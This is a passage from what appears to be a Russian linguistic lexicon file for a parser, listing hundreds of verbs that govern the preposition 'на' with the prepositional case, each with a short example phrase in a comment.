rus_verbs:покачаться{}, // покачаться на ветке
rus_verbs:сосредоточиваться{}, // сосредоточиваться на главной задаче
rus_verbs:развязывать{}, // развязывать на ботинках
rus_verbs:подвозить{}, // подвозить на мотороллере
rus_verbs:вышивать{}, // вышивать на рубашке
rus_verbs:скупать{}, // скупать на открытом рынке
rus_verbs:оформлять{}, // оформлять на встрече
rus_verbs:распускаться{}, // распускаться на клумбах
rus_verbs:прогореть{}, // прогореть на спекуляциях
rus_verbs:приползти{}, // приползти на коленях
rus_verbs:загореть{}, // загореть на пляже
rus_verbs:остудить{}, // остудить на балконе
rus_verbs:нарвать{}, // нарвать на поляне
rus_verbs:издохнуть{}, // издохнуть на болоте
rus_verbs:разгружать{}, // разгружать на дороге
rus_verbs:произрастать{}, // произрастать на болотах
rus_verbs:разуться{}, // разуться на коврике
rus_verbs:сооружать{}, // сооружать на площади
rus_verbs:зачитывать{}, // зачитывать на митинге
rus_verbs:уместиться{}, // уместиться на ладони
rus_verbs:закупить{}, // закупить на рынке
rus_verbs:горланить{}, // горланить на улице
rus_verbs:экономить{}, // экономить на спичках
rus_verbs:исправлять{}, // исправлять на доске
rus_verbs:расслабляться{}, // расслабляться на лежаке
rus_verbs:скапливаться{}, // скапливаться на крыше
rus_verbs:сплетничать{}, // сплетничать на скамеечке
rus_verbs:отъезжать{}, // отъезжать на лимузине
rus_verbs:отчитывать{}, // отчитывать на собрании
rus_verbs:сфокусировать{}, // сфокусировать на удаленной точке
rus_verbs:потчевать{}, // потчевать на лаврах
rus_verbs:окопаться{}, // окопаться на окраине
rus_verbs:загорать{}, // загорать на пляже
rus_verbs:обгореть{}, // обгореть на солнце
rus_verbs:распознавать{}, // распознавать на фотографии
rus_verbs:заплетаться{}, // заплетаться на макушке
rus_verbs:перегреться{}, // перегреться на жаре
rus_verbs:подметать{}, // подметать на крыльце
rus_verbs:нарисоваться{}, // нарисоваться на горизонте
rus_verbs:проскакивать{}, // проскакивать на экране
rus_verbs:попивать{}, // попивать на балконе чай
rus_verbs:отплывать{}, // отплывать на лодке
rus_verbs:чирикать{}, // чирикать на ветках
rus_verbs:скупить{}, // скупить на оптовых базах
rus_verbs:наколоть{}, // наколоть на коже картинку
rus_verbs:созревать{}, // созревать на ветке
rus_verbs:проколоться{}, // проколоться на мелочи
rus_verbs:крутнуться{}, // крутнуться на заднем колесе
rus_verbs:переночевать{}, // переночевать на постоялом дворе
rus_verbs:концентрироваться{}, // концентрироваться на фильтре
rus_verbs:одичать{}, // одичать на хуторе
rus_verbs:спасаться{}, // спасаются на лодке
rus_verbs:доказываться{}, // доказываться на страницах книги
rus_verbs:познаваться{}, // познаваться на ринге
rus_verbs:замыкаться{}, // замыкаться на металлическом предмете
rus_verbs:заприметить{}, // заприметить на пригорке
rus_verbs:продержать{}, // продержать на морозе
rus_verbs:форсировать{}, // форсировать на плотах
rus_verbs:сохнуть{}, // сохнуть на солнце
rus_verbs:выявить{}, // выявить на поверхности
rus_verbs:заседать{}, // заседать на кафедре
rus_verbs:расплачиваться{}, // расплачиваться на выходе
rus_verbs:светлеть{}, // светлеть на горизонте
rus_verbs:залепетать{}, // залепетать на незнакомом языке
rus_verbs:подсчитывать{}, // подсчитывать на пальцах
rus_verbs:зарыть{}, // зарыть на пустыре
rus_verbs:сформироваться{}, // сформироваться на месте
rus_verbs:развертываться{}, // развертываться на площадке
rus_verbs:набивать{}, // набивать на манекенах
rus_verbs:замерзать{}, // замерзать на ветру
rus_verbs:схватывать{}, // схватывать на лету
rus_verbs:перевестись{}, // перевестись на Руси
rus_verbs:смешивать{}, // смешивать на блюдце
rus_verbs:прождать{}, // прождать на входе
rus_verbs:мерзнуть{}, // мерзнуть на ветру
rus_verbs:растирать{}, // растирать на коже
rus_verbs:переспать{}, // переспал на сеновале
rus_verbs:рассекать{}, // рассекать на скутере
rus_verbs:опровергнуть{}, // опровергнуть на высшем уровне
rus_verbs:дрыхнуть{}, // дрыхнуть на диване
rus_verbs:распять{}, // распять на кресте
rus_verbs:запечься{}, // запечься на костре
rus_verbs:застилать{}, // застилать на балконе
rus_verbs:сыскаться{}, // сыскаться на огороде
rus_verbs:разориться{}, // разориться на продаже спичек
rus_verbs:переделать{}, // переделать на станке
rus_verbs:разъяснять{}, // разъяснять на страницах газеты
rus_verbs:поседеть{}, // поседеть на висках
rus_verbs:протащить{}, // протащить на спине
rus_verbs:осуществиться{}, // осуществиться на деле
rus_verbs:селиться{}, // селиться на окраине
rus_verbs:оплачивать{}, // оплачивать на первой кассе
rus_verbs:переворачивать{}, // переворачивать на сковородке
rus_verbs:упражняться{}, // упражняться на батуте
rus_verbs:испробовать{}, // испробовать на себе
rus_verbs:разгладиться{}, // разгладиться на спине
rus_verbs:рисоваться{}, // рисоваться на стекле
rus_verbs:продрогнуть{}, // продрогнуть на морозе
rus_verbs:пометить{}, // пометить на доске
rus_verbs:приютить{}, // приютить на чердаке
rus_verbs:избирать{}, // избирать на первых свободных выборах
rus_verbs:затеваться{}, // затеваться на матче
rus_verbs:уплывать{}, // уплывать на катере
rus_verbs:замерцать{}, // замерцать на рекламном щите
rus_verbs:фиксироваться{}, // фиксироваться на достигнутом уровне
rus_verbs:запираться{}, // запираться на чердаке
rus_verbs:загубить{}, // загубить на корню
rus_verbs:развеяться{}, // развеяться на природе
rus_verbs:съезжаться{}, // съезжаться на лимузинах
rus_verbs:потанцевать{}, // потанцевать на могиле
rus_verbs:дохнуть{}, // дохнуть на солнце
rus_verbs:припарковаться{}, // припарковаться на газоне
rus_verbs:отхватить{}, // отхватить на распродаже
rus_verbs:остывать{}, // остывать на улице
rus_verbs:переваривать{}, // переваривать на высокой ветке
rus_verbs:подвесить{}, // подвесить на веревке
rus_verbs:хвастать{}, // хвастать на работе
rus_verbs:отрабатывать{}, // отрабатывать на уборке урожая
rus_verbs:разлечься{}, // разлечься на полу
rus_verbs:очертить{}, // очертить на полу
rus_verbs:председательствовать{}, // председательствовать на собрании
rus_verbs:сконфузиться{}, // сконфузиться на сцене
rus_verbs:выявляться{}, // выявляться на ринге
rus_verbs:крутануться{}, // крутануться на заднем колесе
rus_verbs:караулить{}, // караулить на входе
rus_verbs:перечислять{}, // перечислять на пальцах
rus_verbs:обрабатывать{}, // обрабатывать на станке
rus_verbs:настигать{}, // настигать на берегу
rus_verbs:разгуливать{}, // разгуливать на берегу
rus_verbs:насиловать{}, // насиловать на пляже
rus_verbs:поредеть{}, // поредеть на макушке
rus_verbs:учитывать{}, // учитывать на балансе
rus_verbs:зарождаться{}, // зарождаться на большой глубине
rus_verbs:распространять{}, // распространять на сайтах
rus_verbs:пировать{}, // пировать на вершине холма
rus_verbs:начертать{}, // начертать на стене
rus_verbs:расцветать{}, // расцветать на подоконнике
rus_verbs:умнеть{}, // умнеть на глазах
rus_verbs:царствовать{}, // царствовать на окраине
rus_verbs:закрутиться{}, // закрутиться на работе
rus_verbs:отработать{}, // отработать на шахте
rus_verbs:полечь{}, // полечь на поле брани
rus_verbs:щебетать{}, // щебетать на ветке
rus_verbs:подчеркиваться{}, // подчеркиваться на сайте
rus_verbs:посеять{}, // посеять на другом поле
rus_verbs:замечаться{}, // замечаться на пастбище
rus_verbs:просчитать{}, // просчитать на пальцах
rus_verbs:голосовать{}, // голосовать на трассе
rus_verbs:маяться{}, // маяться на пляже
rus_verbs:сколотить{}, // сколотить на службе
rus_verbs:обретаться{}, // обретаться на чужбине
rus_verbs:обливаться{}, // обливаться на улице
rus_verbs:катать{}, // катать на лошадке
rus_verbs:припрятать{}, // припрятать на теле
rus_verbs:запаниковать{}, // запаниковать на экзамене
инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать на частном самолете
деепричастие:слетав{},
rus_verbs:срубить{}, // срубить денег на спекуляциях
rus_verbs:зажигаться{}, // зажигаться на улице
rus_verbs:жарить{}, // жарить на углях
rus_verbs:накапливаться{}, // накапливаться на счету
rus_verbs:распуститься{}, // распуститься на грядке
rus_verbs:рассаживаться{}, // рассаживаться на местах
rus_verbs:странствовать{}, // странствовать на лошади
rus_verbs:осматриваться{}, // осматриваться на месте
rus_verbs:разворачивать{}, // разворачивать на завоеванной территории
rus_verbs:согревать{}, // согревать на вершине горы
rus_verbs:заскучать{}, // заскучать на вахте
rus_verbs:перекусить{}, // перекусить на бегу
rus_verbs:приплыть{}, // приплыть на тримаране
rus_verbs:зажигать{}, // зажигать на танцах
rus_verbs:закопать{}, // закопать на поляне
rus_verbs:стирать{}, // стирать на берегу
rus_verbs:подстерегать{}, // подстерегать на подходе
rus_verbs:погулять{}, // погулять на свадьбе
rus_verbs:огласить{}, // огласить на митинге
rus_verbs:разбогатеть{}, // разбогатеть на прииске
rus_verbs:грохотать{}, // грохотать на чердаке
rus_verbs:расположить{}, // расположить на границе
rus_verbs:реализоваться{}, // реализоваться на новой работе
rus_verbs:застывать{}, // застывать на морозе
rus_verbs:запечатлеть{}, // запечатлеть на пленке
rus_verbs:тренироваться{}, // тренироваться на манекене
rus_verbs:поспорить{}, // поспорить на совещании
rus_verbs:затягивать{}, // затягивать на поясе
rus_verbs:зиждиться{}, // зиждиться на твердой основе
rus_verbs:построиться{}, // построиться на песке
rus_verbs:надрываться{}, // надрываться на работе
rus_verbs:закипать{}, // закипать на плите
rus_verbs:затонуть{}, // затонуть на мелководье
rus_verbs:побыть{}, // побыть на фазенде
rus_verbs:сгорать{}, // сгорать на солнце
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на улице
деепричастие:пописав{ aux stress="поп^исав" },
rus_verbs:подраться{}, // подраться на сцене
rus_verbs:заправить{}, // заправить на последней заправке
rus_verbs:обозначаться{}, // обозначаться на карте
rus_verbs:просиживать{}, // просиживать на берегу
rus_verbs:начертить{}, // начертить на листке
rus_verbs:тормозить{}, // тормозить на льду
rus_verbs:затевать{}, // затевать на космической базе
rus_verbs:задерживать{}, // задерживать на таможне
rus_verbs:прилетать{}, // прилетать на частном самолете
rus_verbs:полулежать{}, // полулежать на травке
rus_verbs:ерзать{}, // ерзать на табуретке
rus_verbs:покопаться{}, // покопаться на складе
rus_verbs:подвезти{}, // подвезти на машине
rus_verbs:полежать{}, // полежать на водном матрасе
rus_verbs:стыть{}, // стыть на улице
rus_verbs:стынуть{}, // стынуть на улице
rus_verbs:скреститься{}, // скреститься на груди
rus_verbs:припарковать{}, // припарковать на стоянке
rus_verbs:здороваться{}, // здороваться на кафедре
rus_verbs:нацарапать{}, // нацарапать на парте
rus_verbs:откопать{}, // откопать на поляне
rus_verbs:смастерить{}, // смастерить на коленках
rus_verbs:довезти{}, // довезти на машине
rus_verbs:избивать{}, // избивать на крыше
rus_verbs:сварить{}, // сварить на костре
rus_verbs:истребить{}, // истребить на корню
rus_verbs:раскопать{}, // раскопать на болоте
rus_verbs:попить{}, // попить на кухне
rus_verbs:заправлять{}, // заправлять на базе
rus_verbs:кушать{}, // кушать на кухне
rus_verbs:замолкать{}, // замолкать на половине фразы
rus_verbs:измеряться{}, // измеряться на весах
rus_verbs:сбываться{}, // сбываться на самом деле
rus_verbs:изображаться{}, // изображается на сцене
rus_verbs:фиксировать{}, // фиксировать на данной высоте
rus_verbs:ослаблять{}, // ослаблять на шее
rus_verbs:зреть{}, // зреть на грядке
rus_verbs:зеленеть{}, // зеленеть на грядке
rus_verbs:критиковать{}, // критиковать на страницах газеты
rus_verbs:облететь{}, // облететь на самолете
rus_verbs:заразиться{}, // заразиться на работе
rus_verbs:рассеять{}, // рассеять на территории
rus_verbs:печься{}, // печься на костре
rus_verbs:поспать{}, // поспать на земле
rus_verbs:сплетаться{}, // сплетаться на макушке
rus_verbs:удерживаться{}, // удерживаться на расстоянии
rus_verbs:помешаться{}, // помешаться на чистоте
rus_verbs:ликвидировать{}, // ликвидировать на полигоне
rus_verbs:проваляться{}, // проваляться на диване
rus_verbs:лечиться{}, // лечиться на дому
rus_verbs:обработать{}, // обработать на станке
rus_verbs:защелкнуть{}, // защелкнуть на руках
rus_verbs:разносить{}, // разносить на одежде
rus_verbs:чесать{}, // чесать на груди
rus_verbs:наладить{}, // наладить на конвейере выпуск
rus_verbs:отряхнуться{}, // отряхнуться на улице
rus_verbs:разыгрываться{}, // разыгрываться на скачках
rus_verbs:обеспечиваться{}, // обеспечиваться на выгодных условиях
rus_verbs:греться{}, // греться на вокзале
rus_verbs:засидеться{}, // засидеться на одном месте
rus_verbs:материализоваться{}, // материализоваться на границе
rus_verbs:рассеиваться{}, // рассеиваться на высоте вершин
rus_verbs:перевозить{}, // перевозить на платформе
rus_verbs:поиграть{}, // поиграть на скрипке
rus_verbs:потоптаться{}, // потоптаться на одном месте
rus_verbs:переправиться{}, // переправиться на плоту
rus_verbs:забрезжить{}, // забрезжить на горизонте
rus_verbs:завывать{}, // завывать на опушке
rus_verbs:заваривать{}, // заваривать на кухоньке
rus_verbs:перемещаться{}, // перемещаться на спасательном плоту
инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться на бланке
rus_verbs:праздновать{}, // праздновать на улицах
rus_verbs:обучить{}, // обучить на корте
rus_verbs:орудовать{}, // орудовать на складе
rus_verbs:подрасти{}, // подрасти на глядке
rus_verbs:шелестеть{}, // шелестеть на ветру
rus_verbs:раздеваться{}, // раздеваться на публике
rus_verbs:пообедать{}, // пообедать на газоне
rus_verbs:жрать{}, // жрать на помойке
rus_verbs:исполняться{}, // исполняться на флейте
rus_verbs:похолодать{}, // похолодать на улице
rus_verbs:гнить{}, // гнить на каторге
rus_verbs:прослушать{}, // прослушать на концерте
rus_verbs:совещаться{}, // совещаться на заседании
rus_verbs:покачивать{}, // покачивать на волнах
rus_verbs:отсидеть{}, // отсидеть на гаупвахте
rus_verbs:формировать{}, // формировать на секретной базе
rus_verbs:захрапеть{}, // захрапеть на кровати
rus_verbs:объехать{}, // объехать на попутке
rus_verbs:поселить{}, // поселить на верхних этажах
rus_verbs:заворочаться{}, // заворочаться на сене
rus_verbs:напрятать{}, // напрятать на теле
rus_verbs:очухаться{}, // очухаться на земле
rus_verbs:полистать{}, // полистать на досуге
rus_verbs:завертеть{}, // завертеть на шесте
rus_verbs:печатать{}, // печатать на ноуте
rus_verbs:отыскаться{}, // отыскаться на складе
rus_verbs:зафиксировать{}, // зафиксировать на пленке
rus_verbs:расстилаться{}, // расстилаться на столе
rus_verbs:заместить{}, // заместить на посту
rus_verbs:угасать{}, // угасать на неуправляемом корабле
rus_verbs:сразить{}, // сразить на ринге
rus_verbs:расплываться{}, // расплываться на жаре
rus_verbs:сосчитать{}, // сосчитать на пальцах
rus_verbs:сгуститься{}, // сгуститься на небольшой высоте
rus_verbs:цитировать{}, // цитировать на плите
rus_verbs:ориентироваться{}, // ориентироваться на местности
rus_verbs:расширить{}, // расширить на другом конце
rus_verbs:обтереть{}, // обтереть на стоянке
rus_verbs:подстрелить{}, // подстрелить на охоте
rus_verbs:растереть{}, // растереть на твердой поверхности
rus_verbs:подавлять{}, // подавлять на первом этапе
rus_verbs:смешиваться{}, // смешиваться на поверхности
// инфинитив:вычитать{ aux stress="в^ычитать" }, глагол:вычитать{ aux stress="в^ычитать" }, // вычитать на сайте
// деепричастие:вычитав{},
rus_verbs:сократиться{}, // сократиться на втором этапе
rus_verbs:занервничать{}, // занервничать на экзамене
rus_verbs:соприкоснуться{}, // соприкоснуться на трассе
rus_verbs:обозначить{}, // обозначить на плане
rus_verbs:обучаться{}, // обучаться на производстве
rus_verbs:снизиться{}, // снизиться на большой высоте
rus_verbs:простудиться{}, // простудиться на ветру
rus_verbs:поддерживаться{}, // поддерживается на встрече
rus_verbs:уплыть{}, // уплыть на лодочке
rus_verbs:резвиться{}, // резвиться на песочке
rus_verbs:поерзать{}, // поерзать на скамеечке
rus_verbs:похвастаться{}, // похвастаться на встрече
rus_verbs:знакомиться{}, // знакомиться на уроке
rus_verbs:проплывать{}, // проплывать на катере
rus_verbs:засесть{}, // засесть на чердаке
rus_verbs:подцепить{}, // подцепить на дискотеке
rus_verbs:обыскать{}, // обыскать на входе
rus_verbs:оправдаться{}, // оправдаться на суде
rus_verbs:раскрываться{}, // раскрываться на сцене
rus_verbs:одеваться{}, // одеваться на вещевом рынке
rus_verbs:засветиться{}, // засветиться на фотографиях
rus_verbs:употребляться{}, // употребляться на птицефабриках
rus_verbs:грабить{}, // грабить на пустыре
rus_verbs:гонять{}, // гонять на повышенных оборотах
rus_verbs:развеваться{}, // развеваться на древке
rus_verbs:основываться{}, // основываться на безусловных фактах
rus_verbs:допрашивать{}, // допрашивать на базе
rus_verbs:проработать{}, // проработать на стройке
rus_verbs:сосредоточить{}, // сосредоточить на месте
rus_verbs:сочинять{}, // сочинять на ходу
rus_verbs:ползать{}, // ползать на камне
rus_verbs:раскинуться{}, // раскинуться на пустыре
rus_verbs:уставать{}, // уставать на работе
rus_verbs:укрепить{}, // укрепить на конце
rus_verbs:образовывать{}, // образовывать на открытом воздухе взрывоопасную смесь
rus_verbs:одобрять{}, // одобрять на словах
rus_verbs:приговорить{}, // приговорить на заседании тройки
rus_verbs:чернеть{}, // чернеть на свету
rus_verbs:гнуть{}, // гнуть на станке
rus_verbs:размещаться{}, // размещаться на бирже
rus_verbs:соорудить{}, // соорудить на даче
rus_verbs:пастись{}, // пастись на лугу
rus_verbs:формироваться{}, // формироваться на дне
rus_verbs:таить{}, // таить на дне
rus_verbs:приостановиться{}, // приостановиться на середине
rus_verbs:топтаться{}, // топтаться на месте
rus_verbs:громить{}, // громить на подступах
rus_verbs:вычислить{}, // вычислить на бумажке
rus_verbs:заказывать{}, // заказывать на сайте
rus_verbs:осуществить{}, // осуществить на практике
rus_verbs:обосноваться{}, // обосноваться на верхушке
rus_verbs:пытать{}, // пытать на электрическом стуле
rus_verbs:совершиться{}, // совершиться на заседании
rus_verbs:свернуться{}, // свернуться на медленном огне
rus_verbs:пролетать{}, // пролетать на дельтаплане
rus_verbs:сбыться{}, // сбыться на самом деле
rus_verbs:разговориться{}, // разговориться на уроке
rus_verbs:разворачиваться{}, // разворачиваться на перекрестке
rus_verbs:преподнести{}, // преподнести на блюдечке
rus_verbs:напечатать{}, // напечатать на лазернике
rus_verbs:прорвать{}, // прорвать на периферии
rus_verbs:раскачиваться{}, // раскачиваться на доске
rus_verbs:задерживаться{}, // задерживаться на старте
rus_verbs:угощать{}, // угощать на вечеринке
rus_verbs:шарить{}, // шарить на столе
rus_verbs:увеличивать{}, // увеличивать на первом этапе
rus_verbs:рехнуться{}, // рехнуться на старости лет
rus_verbs:расцвести{}, // расцвести на грядке
rus_verbs:закипеть{}, // закипеть на плите
rus_verbs:подлететь{}, // подлететь на параплане
rus_verbs:рыться{}, // рыться на свалке
rus_verbs:добираться{}, // добираться на попутках
rus_verbs:продержаться{}, // продержаться на вершине
rus_verbs:разыскивать{}, // разыскивать на выставках
rus_verbs:освобождать{}, // освобождать на заседании
rus_verbs:передвигаться{}, // передвигаться на самокате
rus_verbs:проявиться{}, // проявиться на свету
rus_verbs:заскользить{}, // заскользить на льду
rus_verbs:пересказать{}, // пересказать на сцене студенческого театра
rus_verbs:протестовать{}, // протестовать на улице
rus_verbs:указываться{}, // указываться на табличках
rus_verbs:прискакать{}, // прискакать на лошадке
rus_verbs:копошиться{}, // копошиться на свежем воздухе
rus_verbs:подсчитать{}, // подсчитать на бумажке
rus_verbs:разволноваться{}, // разволноваться на экзамене
rus_verbs:завертеться{}, // завертеться на полу
rus_verbs:ознакомиться{}, // ознакомиться на ходу
rus_verbs:ржать{}, // ржать на уроке
rus_verbs:раскинуть{}, // раскинуть на грядках
rus_verbs:разгромить{}, // разгромить на ринге
rus_verbs:подслушать{}, // подслушать на совещании
rus_verbs:описываться{}, // описываться на страницах книги
rus_verbs:качаться{}, // качаться на стуле
rus_verbs:усилить{}, // усилить на флангах
rus_verbs:набросать{}, // набросать на клочке картона
rus_verbs:расстреливать{}, // расстреливать на подходе
rus_verbs:запрыгать{}, // запрыгать на одной ноге
rus_verbs:сыскать{}, // сыскать на чужбине
rus_verbs:подтвердиться{}, // подтвердиться на практике
rus_verbs:плескаться{}, // плескаться на мелководье
rus_verbs:расширяться{}, // расширяться на конце
rus_verbs:подержать{}, // подержать на солнце
rus_verbs:планироваться{}, // планироваться на общем собрании
rus_verbs:сгинуть{}, // сгинуть на чужбине
rus_verbs:замкнуться{}, // замкнуться на точке
rus_verbs:закачаться{}, // закачаться на ветру
rus_verbs:перечитывать{}, // перечитывать на ходу
rus_verbs:перелететь{}, // перелететь на дельтаплане
rus_verbs:оживать{}, // оживать на солнце
rus_verbs:женить{}, // женить на богатой невесте
rus_verbs:заглохнуть{}, // заглохнуть на старте
rus_verbs:копаться{}, // копаться на полу
rus_verbs:развлекаться{}, // развлекаться на дискотеке
rus_verbs:печататься{}, // печататься на струйном принтере
rus_verbs:обрываться{}, // обрываться на полуслове
rus_verbs:ускакать{}, // ускакать на лошадке
rus_verbs:подписывать{}, // подписывать на столе
rus_verbs:добывать{}, // добывать на выработке
rus_verbs:скопиться{}, // скопиться на выходе
rus_verbs:повстречать{}, // повстречать на пути
rus_verbs:поцеловаться{}, // поцеловаться на площади
rus_verbs:растянуть{}, // растянуть на столе
rus_verbs:подаваться{}, // подаваться на благотворительном обеде
rus_verbs:повстречаться{}, // повстречаться на митинге
rus_verbs:примоститься{}, // примоститься на ступеньках
rus_verbs:отразить{}, // отразить на страницах доклада
rus_verbs:пояснять{}, // пояснять на страницах приложения
rus_verbs:накормить{}, // накормить на кухне
rus_verbs:поужинать{}, // поужинать на веранде
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть на митинге
деепричастие:спев{},
инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш },
rus_verbs:топить{}, // топить на мелководье
rus_verbs:освоить{}, // освоить на практике
rus_verbs:распластаться{}, // распластаться на травке
rus_verbs:отплыть{}, // отплыть на старом каяке
rus_verbs:улетать{}, // улетать на любом самолете
rus_verbs:отстаивать{}, // отстаивать на корте
rus_verbs:осуждать{}, // осуждать на словах
rus_verbs:переговорить{}, // переговорить на обеде
rus_verbs:укрыть{}, // укрыть на чердаке
rus_verbs:томиться{}, // томиться на привязи
rus_verbs:сжигать{}, // сжигать на полигоне
rus_verbs:позавтракать{}, // позавтракать на лоне природы
rus_verbs:функционировать{}, // функционирует на солнечной энергии
rus_verbs:разместить{}, // разместить на сайте
rus_verbs:пронести{}, // пронести на теле
rus_verbs:нашарить{}, // нашарить на столе
rus_verbs:корчиться{}, // корчиться на полу
rus_verbs:распознать{}, // распознать на снимке
rus_verbs:повеситься{}, // повеситься на шнуре
rus_verbs:обозначиться{}, // обозначиться на картах
rus_verbs:оступиться{}, // оступиться на скользком льду
rus_verbs:подносить{}, // подносить на блюдечке
rus_verbs:расстелить{}, // расстелить на газоне
rus_verbs:обсуждаться{}, // обсуждаться на собрании
rus_verbs:расписаться{}, // расписаться на бланке
rus_verbs:плестись{}, // плестись на привязи
rus_verbs:объявиться{}, // объявиться на сцене
rus_verbs:повышаться{}, // повышаться на первом датчике
rus_verbs:разрабатывать{}, // разрабатывать на заводе
rus_verbs:прерывать{}, // прерывать на середине
rus_verbs:каяться{}, // каяться на публике
rus_verbs:освоиться{}, // освоиться на лошади
rus_verbs:подплыть{}, // подплыть на плоту
rus_verbs:оскорбить{}, // оскорбить на митинге
rus_verbs:торжествовать{}, // торжествовать на пьедестале
rus_verbs:поправлять{}, // поправлять на одежде
rus_verbs:отражать{}, // отражать на картине
rus_verbs:дремать{}, // дремать на кушетке
rus_verbs:применяться{}, // применяться на производстве стали
rus_verbs:поражать{}, // поражать на большой дистанции
rus_verbs:расстрелять{}, // расстрелять на окраине хутора
rus_verbs:рассчитать{}, // рассчитать на калькуляторе
rus_verbs:записывать{}, // записывать на ленте
rus_verbs:перебирать{}, // перебирать на ладони
rus_verbs:разбиться{}, // разбиться на катере
rus_verbs:поискать{}, // поискать на ферме
rus_verbs:прятать{}, // прятать на заброшенном складе
rus_verbs:пропеть{}, // пропеть на эстраде
rus_verbs:замелькать{}, // замелькать на экране
rus_verbs:грустить{}, // грустить на веранде
rus_verbs:крутить{}, // крутить на оси
rus_verbs:подготовить{}, // подготовить на конспиративной квартире
rus_verbs:различать{}, // различать на картинке
rus_verbs:киснуть{}, // киснуть на чужбине
rus_verbs:оборваться{}, // оборваться на полуслове
rus_verbs:запутаться{}, // запутаться на простейшем тесте
rus_verbs:общаться{}, // общаться на уроке
rus_verbs:производиться{}, // производиться на фабрике
rus_verbs:сочинить{}, // сочинить на досуге
rus_verbs:давить{}, // давить на лице
rus_verbs:разработать{}, // разработать на секретном предприятии
rus_verbs:качать{}, // качать на качелях
rus_verbs:тушить{}, // тушить на крыше пожар
rus_verbs:охранять{}, // охранять на территории базы
rus_verbs:приметить{}, // приметить на взгорке
rus_verbs:скрыть{}, // скрыть на теле
rus_verbs:удерживать{}, // удерживать на руке
rus_verbs:усвоить{}, // усвоить на уроке
rus_verbs:растаять{}, // растаять на солнечной стороне
rus_verbs:красоваться{}, // красоваться на виду
rus_verbs:сохраняться{}, // сохраняться на холоде
rus_verbs:лечить{}, // лечить на дому
rus_verbs:прокатиться{}, // прокатиться на уницикле
rus_verbs:договариваться{}, // договариваться на нейтральной территории
rus_verbs:качнуться{}, // качнуться на одной ноге
rus_verbs:опубликовать{}, // опубликовать на сайте
rus_verbs:отражаться{}, // отражаться на поверхности воды
rus_verbs:обедать{}, // обедать на веранде
rus_verbs:посидеть{}, // посидеть на лавочке
rus_verbs:сообщаться{}, // сообщаться на официальном сайте
rus_verbs:свершиться{}, // свершиться на заседании
rus_verbs:ночевать{}, // ночевать на даче
rus_verbs:темнеть{}, // темнеть на свету
rus_verbs:гибнуть{}, // гибнуть на территории полигона
rus_verbs:усиливаться{}, // усиливаться на территории округа
rus_verbs:проживать{}, // проживать на даче
rus_verbs:исследовать{}, // исследовать на большой глубине
rus_verbs:обитать{}, // обитать на громадной глубине
rus_verbs:сталкиваться{}, // сталкиваться на большой высоте
rus_verbs:таиться{}, // таиться на большой глубине
rus_verbs:спасать{}, // спасать на пожаре
rus_verbs:сказываться{}, // сказываться на общем результате
rus_verbs:заблудиться{}, // заблудиться на стройке
rus_verbs:пошарить{}, // пошарить на полках
rus_verbs:планировать{}, // планировать на бумаге
rus_verbs:ранить{}, // ранить на полигоне
rus_verbs:хлопать{}, // хлопать на сцене
rus_verbs:основать{}, // основать на горе новый монастырь
rus_verbs:отбить{}, // отбить на столе
rus_verbs:отрицать{}, // отрицать на заседании комиссии
rus_verbs:устоять{}, // устоять на ногах
rus_verbs:отзываться{}, // отзываться на страницах отчёта
rus_verbs:притормозить{}, // притормозить на обочине
rus_verbs:читаться{}, // читаться на лице
rus_verbs:заиграть{}, // заиграть на саксофоне
rus_verbs:зависнуть{}, // зависнуть на игровой площадке
rus_verbs:сознаться{}, // сознаться на допросе
rus_verbs:выясняться{}, // выясняться на очной ставке
rus_verbs:наводить{}, // наводить на столе порядок
rus_verbs:покоиться{}, // покоиться на кладбище
rus_verbs:значиться{}, // значиться на бейджике
rus_verbs:съехать{}, // съехать на санках
rus_verbs:познакомить{}, // познакомить на свадьбе
rus_verbs:завязать{}, // завязать на спине
rus_verbs:грохнуть{}, // грохнуть на площади
rus_verbs:разъехаться{}, // разъехаться на узкой дороге
rus_verbs:столпиться{}, // столпиться на крыльце
rus_verbs:порыться{}, // порыться на полках
rus_verbs:ослабить{}, // ослабить на шее
rus_verbs:оправдывать{}, // оправдывать на суде
rus_verbs:обнаруживаться{}, // обнаруживаться на складе
rus_verbs:спастись{}, // спастись на дереве
rus_verbs:прерваться{}, // прерваться на полуслове
rus_verbs:строиться{}, // строиться на пустыре
rus_verbs:познать{}, // познать на практике
rus_verbs:путешествовать{}, // путешествовать на поезде
rus_verbs:побеждать{}, // побеждать на ринге
rus_verbs:рассматриваться{}, // рассматриваться на заседании
rus_verbs:продаваться{}, // продаваться на открытом рынке
rus_verbs:разместиться{}, // разместиться на базе
rus_verbs:завыть{}, // завыть на холме
rus_verbs:настигнуть{}, // настигнуть на окраине
rus_verbs:укрыться{}, // укрыться на чердаке
rus_verbs:расплакаться{}, // расплакаться на заседании комиссии
rus_verbs:заканчивать{}, // заканчивать на последнем задании
rus_verbs:пролежать{}, // пролежать на столе
rus_verbs:громоздиться{}, // громоздиться на полу
rus_verbs:замерзнуть{}, // замерзнуть на открытом воздухе
rus_verbs:поскользнуться{}, // поскользнуться на льду
rus_verbs:таскать{}, // таскать на спине
rus_verbs:просматривать{}, // просматривать на сайте
rus_verbs:обдумать{}, // обдумать на досуге
rus_verbs:гадать{}, // гадать на кофейной гуще
rus_verbs:останавливать{}, // останавливать на выходе
rus_verbs:обозначать{}, // обозначать на странице
rus_verbs:долететь{}, // долететь на спортивном байке
rus_verbs:тесниться{}, // тесниться на чердачке
rus_verbs:хоронить{}, // хоронить на частном кладбище
rus_verbs:установиться{}, // установиться на юге
rus_verbs:прикидывать{}, // прикидывать на клочке бумаги
rus_verbs:затаиться{}, // затаиться на дереве
rus_verbs:раздобыть{}, // раздобыть на складе
rus_verbs:перебросить{}, // перебросить на вертолетах
rus_verbs:захватывать{}, // захватывать на базе
rus_verbs:сказаться{}, // сказаться на итоговых оценках
rus_verbs:покачиваться{}, // покачиваться на волнах
rus_verbs:крутиться{}, // крутиться на кухне
rus_verbs:помещаться{}, // помещаться на полке
rus_verbs:питаться{}, // питаться на помойке
rus_verbs:отдохнуть{}, // отдохнуть на загородной вилле
rus_verbs:кататься{}, // кататься на велике
rus_verbs:поработать{}, // поработать на стройке
rus_verbs:ограбить{}, // ограбить на пустыре
rus_verbs:зарабатывать{}, // зарабатывать на бирже
